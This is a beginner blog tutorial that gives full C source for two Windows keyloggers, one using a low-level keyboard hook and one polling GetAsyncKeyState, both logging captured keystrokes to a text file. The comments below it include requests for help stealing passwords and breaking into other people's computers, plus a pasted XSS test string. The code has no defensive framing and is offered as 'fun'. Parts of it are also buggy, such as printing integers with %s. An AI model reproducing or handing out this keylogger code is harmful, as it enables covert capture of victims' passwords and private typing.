Keylogging fun for C/C++ Beginners

The examples below are for beginners in C/C++ with some basic knowledge of the windows – API.

1. Global hook

Hook: A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.

Available hooks:

WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD
WH_KEYBOARD_LL
WH_MOUSE
WH_MOUSE_LL
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER

To install a hook you call this API-function:

HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
);

- idhook

Specifies the type of hook procedure to be installed. We choose “WH_KEYBOARD_LL” (13).

- lpfn

The LowLevelKeyboardProc hook procedure is an application-defined or library-defined callback function used with the SetWindowsHookEx function. The system calls this function every time a new keyboard input event is about to be posted into a thread input queue. The keyboard input can come from the local keyboard driver or from calls to thekeybd_event function. If the input comes from a call to keybd_event, the input was “injected”.

The HOOKPROC type defines a pointer to this callback function. LowLevelKeyboardProc is a placeholder for the application-defined or library-defined function name.

LRESULT CALLBACK LowLevelKeyboardProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // pointer to structure with message data
);

- hMod

In this case, our instance handle.

- dwThreadId

Specifies the identifier of the thread with which the hook procedure is to be associated.
If this parameter is zero, the hook procedure is associated with all existing threads.

Now we know enough to create our first keylogger, using a global keyboard hook:

————————————————————————————————————————–


#include <stdio.h>
#include <windows.h>
#define FILENAME "keylog.txt"

void CheckKey(int key);

LRESULT CALLBACK KeyboardHook(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // pointer to structure with message data
);

typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode; // virtual key code
DWORD scanCode; // scan code
DWORD flags; // flags
DWORD time; // time stamp for this message
DWORD dwExtraInfo; // extra info from the driver or keybd_event
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

HHOOK hHook;

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow )
{

hHook = SetWindowsHookEx(13, KeyboardHook, hInstance , 0);
while (GetMessage(NULL,NULL,0,0)) ; // NOP while not WM_QUIT
return UnhookWindowsHookEx(hHook);
}

LRESULT CALLBACK KeyboardHook (int nCode, WPARAM wParam, LPARAM lParam )
{
if (nCode == HC_ACTION)
if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)
CheckKey (((PKBDLLHOOKSTRUCT)lParam)->vkCode);
return CallNextHookEx(hHook, nCode, wParam, lParam);
}

void CheckKey(int key)
{
FILE *pfile = fopen(FILENAME,"a+");
// translate virtual key code to ascii
// and write it to file..
fclose(pfile);
}

————————————————————————————————————————–

2.

GetAsyncKeyState()

The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.

SHORT GetAsyncKeyState(
int vKey // virtual-key code
);

- vKey

Specifies one of 256 possible virtual-key codes.

This is our second keylogger, now using GetAsyncKeyState() :

————————————————————————————————————————–

#include <stdio.h>
#include <windows.h>

#define FILENAME "keylog.txt"

void CheckKey(int key);

void main()
{
while(1)
{
Sleep(10); // avoid 100% cpu usage

for(int key=8; key<=190; key++)
if (GetAsyncKeyState(key) == HC_ACTION)
CheckKey(key);
}
}

void CheckKey(int key)
{
// ...
}

==========================================================================================================================

The CheckKey() function may look like :


void CheckKey(int key)
{
FILE *pfile = fopen(FILENAME,"a+");

if (key==8)
fprintf(pfile,"%s","[del]");
if (key==13)
fprintf(pfile,"%s","n");
if (key==32)
fprintf(pfile,"%s"," ");
if (key==VK_CAPITAL)
fprintf(pfile,"%s","[CAPS]");
if (key==VK_TAB)
fprintf(pfile,"%s","[TAB]");
if (key==VK_SHIFT)
fprintf(pfile,"%s","[SHIFT]");
if (key==VK_CONTROL)
fprintf(pfile,"%s","[CTRL]");
if (key==VK_PAUSE)
fprintf(pfile,"%s","[PAUSE]");
if (key==VK_ESCAPE)
fprintf(pfile,"%s","[ESC]");
if (key==VK_END)
fprintf(pfile,"%s","[END]");
if (key==VK_HOME)
fprintf(pfile,"%s","[HOME]");
if (key==VK_LEFT)
fprintf(pfile,"%s","[LEFT]");
if (key==VK_UP)
fprintf(pfile,"%s","[UP]");
if (key==VK_RIGHT)
fprintf(pfile,"%s","[RIGHT]");
if (key==VK_DOWN)
fprintf(pfile,"%s","[DOWN]");
if (key==VK_SNAPSHOT)
fprintf(pfile,"%s","[PRINT]");
if (key==VK_NUMLOCK)
fprintf(pfile,"%s","[NUM LOCK]");
if (key==190 || key==110)
fprintf(pfile,"%s",".");

if (key >=96 && key <= 105)
{
key -= 48;
fprintf(pfile,"%s",&key);
}

if (key >=48 && key <= 59)
fprintf(pfile,"%s",&key);

if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(pfile,"%s",&key);
else
{
key = key +32;
fprintf(pfile,"%s",&key);

}
}
}

fclose(pfile);
}

The virtual key code table -> google. Compiled with MS VC++ 6.0.

bugs:
sure.. let me know. :-)

Delicious
Google Buzz

Related posts:

  1. Interval Timer in c
  2. Send Free and Unlimited Text Messages through Airtel
  3. [XP Hack]Disabling USB Ports
  4. The C# Preprocessor – An Overview
  5. Secure PHP Programming!

Tags:

28 Responses to “Keylogging fun for C/C++ Beginners”

  1. M 07. Dec, 2006 at 1:10 pm #

    Good article, is the source code solution or project available to download.

    I’m using vs2003 or 2005.

    Ta.

  2. bothack 07. Dec, 2006 at 4:07 pm #

    @M:
    Well, this is not a project. It’s just an article. you can use these codes. Tell me exactly what you are looking for?

  3. roger 09. Dec, 2006 at 7:15 am #

    Very good post… see also www.businesshackers.com for more posts on this subject…

  4. paul 08. Jan, 2007 at 4:53 pm #

    i am looking for an program or script that can see passes of runescape because i am hacked and want my acc back…
    plz do you have or can u make something for me?
    maybe thx

    paul

  5. bhanu 25. Jan, 2007 at 8:15 pm #

    plz tell me detail n complete prog

  6. Tim 03. Mar, 2007 at 12:48 am #

    Hi im looking for a way to change the key pressed in the queue (i.e. if the user presses an “a” key but it will display a “z” key instead) like a key conversion.

  7. Alexis 05. Mar, 2007 at 6:54 pm #

    pretty good although there are much easier ways to make some keyllogers. But one of my first keyloggers looked just like this one.

  8. sumit 07. Mar, 2007 at 6:21 pm #

    hey guys i am a fresher and i want to know how to hack passwords,how to hack other comp’s dextop,how to get data from other comp.but here is a problem i dont know about ms dos , c, c++.can i do this .if yes then reply me i want to bocome a comp expert .Will u teach me.

  9. sumit 07. Mar, 2007 at 6:25 pm #

    hey guys ,my name is sumit.i want to know about how to hack passwords,how to hack other comp’s dextop ,how to hack data from other comp but there is problem that i dont know about dos,c,c++.can i do this.if yes then reply me .i want to become a comp expert.will u please teach me?

  10. anonymous 20. Jun, 2007 at 7:23 pm #

    sumit…… wow….. asking to be a hacker, and yet u obviously know nothing…. funny :P

  11. aaa 22. Aug, 2007 at 11:32 am #

    aaaalert(‘xss’)

  12. Snake 16. Oct, 2007 at 1:57 pm #

    #8 no you cant be a hacker but you can be a scriptkidde (EVERYONE HATES EM)
    To be a hacker you need GREAT knowlage about computer how they work, why they do like they do, “elit h4×00rzskillz” (Programming for a very longtime and are good at it (many languages)) etc.

    So for the moment you CAN NOT be a hacker.
    Start with c++ and BURN for it and maybe in time you can call yourself hacker.
    I know i CANT call me a hacker

  13. Mich 01. Nov, 2007 at 11:17 am #

    I don’t understand one fundamental thing: you install a hook function I (I think) you do this in why so you can avoid to continuously poll the device (keyboard, mouse,…)

    But then in the main method you make a polling anyway… is not a contradiction? Or I haven’t understood something?

    Thx

  14. Vance 13. Dec, 2007 at 4:13 am #

    Isn’t it easier to download a free trial, for example from keylogger.org and use it, than create a new keylogger???

  15. anonymous 30. Dec, 2007 at 3:19 pm #

    im with paul on this i got hacked on runescape so many times its unreal and i want to
    get payback can you help me?

  16. Runescape Veteran 16. Feb, 2008 at 3:14 pm #

    @Paul:
    The best thing you can do for a runescape account is to start fresh.

    THIS TIME with a proper password (capital letters, numbers symbles etc. and no dictionary words).

    THIS TIME on a secure computer with Zone Alarm and a proper anti-virus (you can use the free AVG).

    And by all means DO NOT play at an internet café or other security threatening place.

  17. Greeney 26. Feb, 2008 at 9:46 am #

    @14 – Vance

    Yes, by all means it is easier – and probably better for a person like you.
    However, some of us like to be challenged.

    Great tutorial on hooks btw. I’ve made a keylogger with GetAsyncKeyState() before but I’ve been looking for a good intro to hooking.

  18. mayank 28. Feb, 2008 at 3:16 am #

    hey guys i am a fresher and i want to know how to hack passwords,how to hack other comp’s dextop,how to get data from other comp.but here is a problem i dont know about ms dos , c, c++.can i do this .if yes then reply me i want to bocome a comp expert .Will u teach me.

  19. mayank 28. Feb, 2008 at 3:17 am #

    hey guys i am a fresher and i want to know how to hack passwords,how to hack other comp’s dextop,how to get data from other comp..can i do this .if yes then reply me i want to bocome a comp expert .Will u teach me.

  20. Bulanesckie 17. Jul, 2008 at 3:49 pm #

    Hi Guys I am new in c++ which book do you recommend for me as i want to start hacking

    bulanesckie

  21. Moezzie 31. Aug, 2008 at 4:09 pm #

    Great tutorial mate.
    Is there a similar way to do this in a Unix environment?

  22. 1337 24. Dec, 2008 at 6:15 pm #

    mayank,

    if you weren’t such an idiot you would use a search engine and learn how to program. Running around on forums/newsgroups asking blatantly how to hax makes alot of people very suspicious…

    your a tard.

  23. Canon T1i 29. Mar, 2009 at 4:31 pm #

    wowwwwwwww thank u loooot for such a great and useful info
    you’re info GURU :D
    GOOD LUCK to you

  24. Pjrpbrjx 08. May, 2009 at 10:29 am #

    mOjMip comment4 ,

  25. alex 25. Jul, 2009 at 7:45 am #

    will this run in vista?

  26. ethan 11. Jan, 2010 at 11:12 pm #

    Hi, i was testing the GetAsyncKeyState function,
    however i am having some problems

    #include
    #include

    int main()
    {
    int quit = 0;

    while(!quit){
    if((GetAsyncKeyState(‘A’) & 0×8000) == 0)
    printf(“A not pressed”);
    else{
    printf(“A pressed “);
    quit = 1;
    }
    if((GetAsyncKeyState(‘B’) & 0×8000) == 0)
    printf(” B not pressed\r”);
    else
    printf(” B pressed \r”);
    }

    printf(“\n”);

    return 0;
    }

    when I press the B key, nothing happens, however when i press the A key, I get what i would expect, the output ‘A key pressed’ and the program closing.
    Why is this? Please help

  27. ethan 11. Jan, 2010 at 11:14 pm #

    the includes didnt copy properly, they are stdio.h and windows.h

Leave a Reply